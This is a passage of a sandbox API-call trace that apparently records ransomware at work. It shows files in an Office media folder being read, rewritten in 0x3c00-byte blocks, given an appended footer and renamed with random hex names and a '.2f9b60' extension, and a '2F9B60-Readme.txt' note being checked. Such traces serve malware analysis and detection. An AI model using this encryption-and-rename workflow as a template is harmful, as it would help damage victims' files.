0x1cee8a45 [0099.974] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x2d760152 [0099.974] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x50a5002 [0099.974] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x41a139d2 [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x48b1034d [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x18a045e2 [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x157940c8 [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x380add9f [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0xa10ee36 [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x57b19be4 [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x6bfc6dff [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x2406d0df [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0xa5f7e9c [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x16c2f1e7 [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x75c2b98e [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x1a554e2c [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x2417cba8 [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x1de70399 [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x20dc4186 [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x61233865 [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x77855010 [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x70c12165 [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x4acf3ff6 [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x6e21b5a9 [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x7f70d64e [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x796ba728 [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0xca04343 [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x4839f062 [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x6ecb0e1b [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x766fee52 [0099.975] RtlRandomEx (in: Seed=0x1de5fcf0 | out: Seed=0x1de5fcf0) returned 0x622ffc1a [0100.763] SetFilePointerEx (in: hFile=0x1598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.763] ReadFile (in: hFile=0x1598, lpBuffer=0x203fb690, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1de5fd60, lpOverlapped=0x0 | out: lpBuffer=0x203fb690*, lpNumberOfBytesRead=0x1de5fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0101.583] SetFilePointerEx (in: hFile=0x1598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0101.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869fc0 [0101.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7890 [0101.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7890) returned 1 [0101.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201b1d40 [0101.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7890 [0101.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83d0 [0101.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83d0) returned 1 [0101.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869fc0) returned 1 [0101.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0101.584] WriteFile (in: hFile=0x1598, lpBuffer=0x201b1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1de5fd60, lpOverlapped=0x0 | out: lpBuffer=0x201b1d40*, lpNumberOfBytesWritten=0x1de5fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0101.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201b1d40) returned 1 [0101.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203fb690) returned 1 [0101.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260440 [0101.887] SetFilePointerEx (in: hFile=0x1598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.887] WriteFile (in: hFile=0x1598, lpBuffer=0x42060650*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1de5fe10, lpOverlapped=0x0 | out: lpBuffer=0x42060650*, lpNumberOfBytesWritten=0x1de5fe10*=0x10a, lpOverlapped=0x0) returned 1 [0102.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263290 [0102.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263290) returned 1 [0102.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263290 [0102.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263260 [0102.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263260) returned 1 [0102.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.303] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="7d") returned 2 [0102.303] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="55") returned 2 [0102.303] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="65") returned 2 [0102.303] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="5e") returned 2 [0102.303] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="18") returned 2 [0102.303] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="82") returned 2 [0102.303] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="2e") returned 2 [0102.303] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="fc") returned 2 [0102.303] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="f4") returned 2 [0102.304] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="28") returned 2 [0102.304] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="6e") returned 2 [0102.304] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="5f") returned 2 [0102.304] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="cd") returned 2 [0102.304] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="11") returned 2 [0102.304] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="7d") returned 2 [0102.304] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="16") returned 2 [0102.304] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="e5") returned 2 [0102.304] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="e3") returned 2 [0102.304] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="b8") returned 2 [0102.304] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="c3") returned 2 [0102.304] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="5b") returned 2 [0102.304] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="7c") returned 2 [0102.304] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="4d") returned 2 [0102.304] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="85") returned 2 [0102.304] RtlInitAnsiString (in: DestinationString=0x1de5fe88, SourceString="7d55655e18822efcf4286e5fcd117d16e5e3b8c35b7c4d85" | out: DestinationString="7d55655e18822efcf4286e5fcd117d16e5e3b8c35b7c4d85") [0102.304] RtlAnsiStringToUnicodeString (in: DestinationString=0x1de5fe58, SourceString="7d55655e18822efcf4286e5fcd117d16e5e3b8c35b7c4d85", AllocateDestinationString=1 | out: DestinationString="7d55655e18822efcf4286e5fcd117d16e5e3b8c35b7c4d85") returned 0x0 [0102.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced96a0 [0102.305] wcscat (in: _Dest=0x4205cd30, _Source="7d55655e1882" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7d55655e1882") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7d55655e1882" [0102.305] wcscat (in: _Dest=0x4205cd30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7d55655e1882.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7d55655e1882.2f9b60" [0102.305] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7d55655e1882.2f9b60", NtPathName=0x1de5fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7d55655e1882.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c500 [0105.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c500) returned 1 [0105.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205070d0) returned 1 [0105.896] NtQueryInformationFile (in: FileHandle=0x1598, IoStatusBlock=0x1de5fe98, FileInformation=0x1de5fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1de5fe98, FileInformation=0x1de5fea8) returned 0x0 [0105.896] NtSetInformationFile (FileHandle=0x1598, IoStatusBlock=0x1de5fe98, FileInformation=0x1de5fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cd30) returned 1 [0105.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced96a0) returned 1 [0105.906] FlushFileBuffers (hFile=0x1598) returned 1 [0105.913] CloseHandle (hObject=0x1598) returned 1 [0105.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4920 [0105.914] wcscpy (in: _Dest=0x202a4920, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0105.914] wcscat (in: _Dest=0x202a4920, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0105.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0106.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4920) returned 1 [0106.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4dec0) returned 1 Thread: id = 745 os_tid = 0x1288 [0098.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf")) returned 0x20 [0099.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF", dwFileAttributes=0x20) returned 1 [0099.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1594 [0099.670] GetFileSizeEx (in: hFile=0x1594, lpFileSize=0x1e0dfd00 | out: lpFileSize=0x1e0dfd00*=24282) returned 1 [0099.670] SetFilePointerEx (in: hFile=0x1594, liDistanceToMove=0x5ed6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.670] ReadFile (in: hFile=0x1594, lpBuffer=0x1e0dfc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e0dfcc8, lpOverlapped=0x0 | out: lpBuffer=0x1e0dfc80*, lpNumberOfBytesRead=0x1e0dfcc8*=0x4, lpOverlapped=0x0) returned 1 [0100.287] SetFilePointerEx (in: hFile=0x1594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0100.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263500 [0100.287] NtQuerySystemTime (in: CurrentTime=0x1e0dfbc0 | out: CurrentTime=0x1e0dfbc0*=132462177058066000) returned 0x0 [0100.287] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x2bb81483 [0100.287] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x7d4444f4 [0100.287] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x63007909 [0100.287] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x105fe02 [0100.287] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x3b8ca59f [0100.287] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x501c5a8d [0100.287] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x5f26ebd0 [0100.287] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x7ef11929 [0100.287] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x1163e228 [0100.287] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x6a90e61f [0100.287] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x2071282 [0100.287] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x1728d7a2 [0100.287] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x4f35f5e1 [0100.287] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x562403ff [0100.287] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x654f8986 [0100.287] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x71f90f11 [0100.288] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x1d3a5165 [0100.288] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x35c33faa [0100.288] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x78750564 [0100.288] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0xbbc1e9d [0100.288] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x71e646a5 [0100.288] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x7d4444f4 [0100.288] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x3c244599 [0100.288] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x2ab5a2af [0100.288] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x6e4026e8 [0100.288] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x6dbdfa39 [0100.288] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x5bbf3854 [0100.288] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x72946329 [0100.288] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x590f2f47 [0100.288] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x32f97976 [0100.288] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x5e01a1ce [0100.288] RtlRandomEx (in: Seed=0x1e0dfbb0 | out: Seed=0x1e0dfbb0) returned 0x5557ccc3 [0100.302] SetFilePointerEx (in: hFile=0x1594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.303] ReadFile (in: hFile=0x1594, lpBuffer=0x201db4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1e0dfc20, lpOverlapped=0x0 | out: lpBuffer=0x201db4e0*, lpNumberOfBytesRead=0x1e0dfc20*=0x3c00, lpOverlapped=0x0) returned 1 [0100.438] SetFilePointerEx (in: hFile=0x1594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c800 [0100.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cecf5c0 [0100.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f30 [0100.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f30) returned 1 [0100.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42013cc0 [0100.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f30 [0100.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f00 [0100.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f00) returned 1 [0100.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf5c0) returned 1 [0100.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c800) returned 1 [0100.886] WriteFile (in: hFile=0x1594, lpBuffer=0x42013cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1e0dfc20, lpOverlapped=0x0 | out: lpBuffer=0x42013cc0*, lpNumberOfBytesWritten=0x1e0dfc20*=0x3c00, lpOverlapped=0x0) returned 1 [0101.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42013cc0) returned 1 [0101.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201db4e0) returned 1 [0101.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85b3e0 [0101.837] SetFilePointerEx (in: hFile=0x1594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.837] WriteFile (in: hFile=0x1594, lpBuffer=0x42060410*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e0dfcd0, lpOverlapped=0x0 | out: lpBuffer=0x42060410*, lpNumberOfBytesWritten=0x1e0dfcd0*=0x10a, lpOverlapped=0x0) returned 1 [0102.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263200 [0102.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263200) returned 1 [0102.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263200 [0102.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202631d0 [0102.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202631d0) returned 1 [0102.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.278] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="83") returned 2 [0102.278] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="e1") returned 2 [0102.278] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="b6") returned 2 [0102.278] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="0c") returned 2 [0102.278] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="b7") returned 2 [0102.278] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="82") returned 2 [0102.278] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="ba") returned 2 [0102.278] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="2a") returned 2 [0102.278] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="e8") returned 2 [0102.278] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="17") returned 2 [0102.279] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="97") returned 2 [0102.279] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="90") returned 2 [0102.279] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="a4") returned 2 [0102.279] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="29") returned 2 [0102.279] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="8c") returned 2 [0102.279] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="68") returned 2 [0102.279] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="4f") returned 2 [0102.279] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="07") returned 2 [0102.279] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="ea") returned 2 [0102.279] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="c7") returned 2 [0102.279] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="0c") returned 2 [0102.279] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="53") returned 2 [0102.279] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="27") returned 2 [0102.279] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="4d") returned 2 [0102.279] RtlInitAnsiString (in: DestinationString=0x1e0dfd48, SourceString="83e1b60cb782ba2ae8179790a4298c684f07eac70c53274d" | out: DestinationString="83e1b60cb782ba2ae8179790a4298c684f07eac70c53274d") [0102.279] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e0dfd18, SourceString="83e1b60cb782ba2ae8179790a4298c684f07eac70c53274d", AllocateDestinationString=1 | out: DestinationString="83e1b60cb782ba2ae8179790a4298c684f07eac70c53274d") returned 0x0 [0102.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced94e0 [0102.279] wcscat (in: _Dest=0x4205cab0, _Source="83e1b60cb782" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\83e1b60cb782") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\83e1b60cb782" [0102.279] wcscat (in: _Dest=0x4205cab0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\83e1b60cb782.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\83e1b60cb782.2f9b60" [0102.280] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\83e1b60cb782.2f9b60", NtPathName=0x1e0dfcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\83e1b60cb782.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c2f0 [0105.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c2f0) returned 1 [0105.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506a40) returned 1 [0105.885] NtQueryInformationFile (in: FileHandle=0x1594, IoStatusBlock=0x1e0dfd58, FileInformation=0x1e0dfd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e0dfd58, FileInformation=0x1e0dfd68) returned 0x0 [0105.886] NtSetInformationFile (FileHandle=0x1594, IoStatusBlock=0x1e0dfd58, FileInformation=0x1e0dfd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cab0) returned 1 [0105.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced94e0) returned 1 [0105.889] FlushFileBuffers (hFile=0x1594) returned 1 [0105.895] CloseHandle (hObject=0x1594) returned 1 [0105.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4fe0 [0105.896] wcscpy (in: _Dest=0x202a4fe0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") 